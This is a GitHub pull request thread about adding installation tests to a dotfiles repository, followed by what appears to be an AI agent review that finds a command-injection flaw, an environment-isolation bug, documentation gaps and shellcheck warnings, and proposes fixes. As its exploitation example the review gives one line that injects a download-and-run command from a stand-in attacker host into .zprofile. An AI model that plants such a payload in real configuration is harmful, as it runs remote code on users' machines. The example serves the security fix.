feat: enhance installation testing coverage (resolves #52)

[maxrantil]

Implements all enhancements from Issue #52 to improve installation test coverage and boost agent score from 4.0 to 4.5+.

High Priority Enhancements:

• Add .zprofile symlink verification test
• Add idempotency test (run install.sh twice)
• Add artifact collection for failed CI runs
• Fix ZDOTDIR expansion in install.sh by setting XDG_CONFIG_HOME

Medium Priority Enhancements:

• Add symlink target verification
• Add conditional files testing (.gitconfig, inputrc)
• Add backup functionality validation

Low Priority Enhancements:

• Add path-based workflow triggers (optimize CI runs)
• Extract test logic to separate script (tests/installation-test.sh)
• Add performance regression detection (30s threshold)

Changes:

• .github/workflows/shell-quality.yml: Enhanced installation-test job with all test improvements and diagnostic artifact collection
• install.sh: Fixed ZDOTDIR expansion by setting XDG_CONFIG_HOME before evaluating extracted ZDOTDIR value
• tests/installation-test.sh: New comprehensive test script that can be run standalone or in CI, with colored output and diagnostics

All tests pass locally with 0 failures and <300ms execution time.

[maxrantil]

Comprehensive Agent Validation Complete

I've completed a full validation of PR #59 using all 7 specialized agents per CLAUDE.md requirements. The implementation is fundamentally sound with excellent test coverage and CI design, but there are critical issues that must be addressed before merge.

---

🔴 CRITICAL BLOCKERS (MUST FIX)

1. Security: Command Injection Vulnerability (CVSS 9.0) ⚠️

Location: install.sh:59
Agent: security-validator (Score: 3.5/5.0 - BELOW 4.0 threshold)

Vulnerable Code:

EXTRACTED_ZDOTDIR=$(eval echo "$EXTRACTED_ZDOTDIR")

Risk: Arbitrary code execution if .zprofile is compromised.

Exploitation Scenario:

# Attacker modifies .zprofile:
export ZDOTDIR='$(curl http://attacker.com/malware.sh | bash)/.config/zsh'
# When install.sh runs: Downloads and executes malware

Required Fix (Option 2 - Allowlist Approach recommended):

# Replace lines 56-59 with:
if [ -f "$DOTFILES_DIR/.zprofile" ]; then
    export XDG_CONFIG_HOME="${XDG_CONFIG_HOME:-$HOME/.config}"
    
    # Extract and validate against expected format
    EXTRACTED_ZDOTDIR=$(grep -E '^export ZDOTDIR=' "$DOTFILES_DIR/.zprofile" | head -1 | sed 's/^export ZDOTDIR=//; s/"//g; s/'"'"'//g')
    
    # Only accept exact expected formats
    if [ "$EXTRACTED_ZDOTDIR" = "\${XDG_CONFIG_HOME}/zsh" ] || [ "$EXTRACTED_ZDOTDIR" = "\$XDG_CONFIG_HOME/zsh" ]; then
        ZSH_CONFIG_DIR="$XDG_CONFIG_HOME/zsh"
    elif [ "$EXTRACTED_ZDOTDIR" = "\${HOME}/.config/zsh" ] || [ "$EXTRACTED_ZDOTDIR" = "\$HOME/.config/zsh" ]; then
        ZSH_CONFIG_DIR="$HOME/.config/zsh"
    else
        echo "[ERROR] Unexpected ZDOTDIR format in .zprofile: $EXTRACTED_ZDOTDIR" >&2
        echo "[ERROR] Expected: \${XDG_CONFIG_HOME}/zsh or \$HOME/.config/zsh" >&2
        exit 1
    fi
else
    ZSH_CONFIG_DIR="$HOME"
fi

---

2. Testing: Environment Isolation Bug ⚠️

Location: tests/installation-test.sh:25-28
Agent: test-automation-qa (Score: 3.5/5.0 - BELOW 4.5 threshold)

Problem: Tests inherit parent environment's XDG_CONFIG_HOME, causing incorrect test behavior.

Evidence:

# When XDG_CONFIG_HOME is set in parent shell:
TEST_HOME=/tmp/tmp.ZBcXIHiCmB
EXTRACTED_ZDOTDIR=/home/mqx/.config/zsh  # Wrong! Should be $TEST_HOME/.config/zsh

Required Fix:

# Add after line 28:
# Ensure clean environment for test isolation
unset XDG_CONFIG_HOME XDG_DATA_HOME XDG_CACHE_HOME ZDOTDIR

export HOME="$TEST_HOME"

Same fix needed in CI workflow (.github/workflows/shell-quality.yml:68-78):

- name: Run install.sh in test home (first run)
  run: |
    # Clear XDG variables for test isolation
    unset XDG_CONFIG_HOME XDG_DATA_HOME XDG_CACHE_HOME ZDOTDIR
    
    export HOME=$TEMP_HOME
    START_TIME=$(date +%s%3N)
    bash install.sh 2>&1 | tee $DIAGNOSTICS_DIR/install-first-run.log

---

3. Documentation: CLAUDE.md Compliance Violations ⚠️

Agent: documentation-knowledge-manager (Score: 3.8/5.0 - BELOW 4.5 threshold)

Violations:

• ❌ README.md not updated (24-hour requirement per CLAUDE.md Section 4)
• ❌ SESSION_HANDOVER.md not created (mandatory per CLAUDE.md Section 5)
• ❌ Issue #52 closure comment missing

Required Updates:

a) README.md (lines 54-78 - Development & Testing section):
Add documentation for installation-test.sh script with usage examples and what it tests.

b) SESSION_HANDOVER.md (create in project root):
Document PR #59 completion per CLAUDE.md Section 5 protocol with:

• Completed work summary
• Agent validation status
• Next session priorities
• Startup prompt for next session

c) Issue #52: Add closure comment linking to this PR and documenting completion.

---

4. Code Quality: 5 Shellcheck SC2155 Warnings ⚠️

Location: tests/installation-test.sh (lines 164, 245, 272, 296, 297)
Agent: code-quality-analyzer (Score: 4.0/5.0 - BELOW 4.5 threshold)

Issue: Declaring and assigning local variables simultaneously masks command failures.

Fix for line 164:

# BEFORE:
local actual_target=$(readlink -f "$TEST_HOME/$symlink")

# AFTER:
local actual_target
actual_target=$(readlink -f "$TEST_HOME/$symlink")

Apply same pattern to lines 245, 272, 296, 297.

---

⚠️ HIGH PRIORITY (Should Fix)

5. Path Traversal Protection

Location: install.sh:75-92 (link_file function)
Agent: security-validator

Add validation that target paths stay within $HOME:

link_file() {
    local source="$1"
    local target="$2"
    
    # Validate target is within HOME
    local target_dir="$(dirname "$target")"
    local real_target_dir="$(cd "$target_dir" 2>/dev/null && pwd)" || {
        echo "[ERROR] Target directory doesn't exist: $target_dir" >&2
        return 1
    }
    
    if [[ ! "$real_target_dir" =~ ^"$HOME" ]]; then
        echo "[ERROR] Target outside home directory: $target" >&2
        return 1
    fi
    
    # ... rest of function
}

6. Backup Race Condition

Location: install.sh:8
Agent: security-validator

Add PID to backup directory name to prevent collisions:

# BEFORE:
BACKUP_DIR="$HOME/.dotfiles_backup_$(date +%Y%m%d_%H%M%S)"

# AFTER:
BACKUP_DIR="$HOME/.dotfiles_backup_$(date +%Y%m%d_%H%M%S)_$$"

---

✅ WHAT'S EXCELLENT

• Comprehensive test coverage: 9 test scenarios (100% of Issue #52 requirements)
• Outstanding CI workflow documentation: Lines 82-97 are exemplary
• Intelligent path-based triggering: 60-80% CI cost reduction
• Excellent diagnostic infrastructure: 12 separate log files for debugging
• Strong idempotency validation: Ensures safe re-deployment
• Fast execution: Test suite runs in <300ms

---

📊 Agent Validation Scores

Agent	Score	Threshold	Status
test-automation-qa	3.5/5.0	4.5	❌ Critical issues block
code-quality-analyzer	4.0/5.0	4.5	❌ Shellcheck warnings
security-validator	3.5/5.0	4.0	❌ Command injection
performance-optimizer	4.2/5.0	3.5	✅ Exceeds threshold
architecture-designer	4.5/5.0	N/A	✅ Good design
documentation-knowledge-manager	3.8/5.0	4.5	❌ Docs missing
devops-deployment-agent	4.3/5.0	N/A	✅ Production ready

Aggregate: 3.86/5.0 (below acceptable threshold)

---

🎯 Path to Approval

Estimated Time: 45-60 minutes for critical fixes

1. Fix command injection vulnerability (20 min) → Security: 3.5 → 4.5
2. Fix environment isolation bug (15 min) → Testing: 3.5 → 4.4
3. Update README.md & create SESSION_HANDOVER.md (15 min) → Docs: 3.8 → 4.9
4. Fix shellcheck warnings (10 min) → Code Quality: 4.0 → 4.5

Projected Score After Fixes: 4.58/5.0 ✅

---

📝 Next Steps

1. Address all 4 critical blockers listed above
2. Consider high-priority security hardening (path validation, race condition)
3. Push updates to this PR
4. Request re-review (I'll fast-track validation)

The foundation is solid - these are mechanical fixes, not design issues. Looking forward to merging this excellent testing infrastructure once the critical items are addressed.

Full detailed agent reports available on request.

[maxrantil]

Closing in favor of new PR with correct branch name and authorship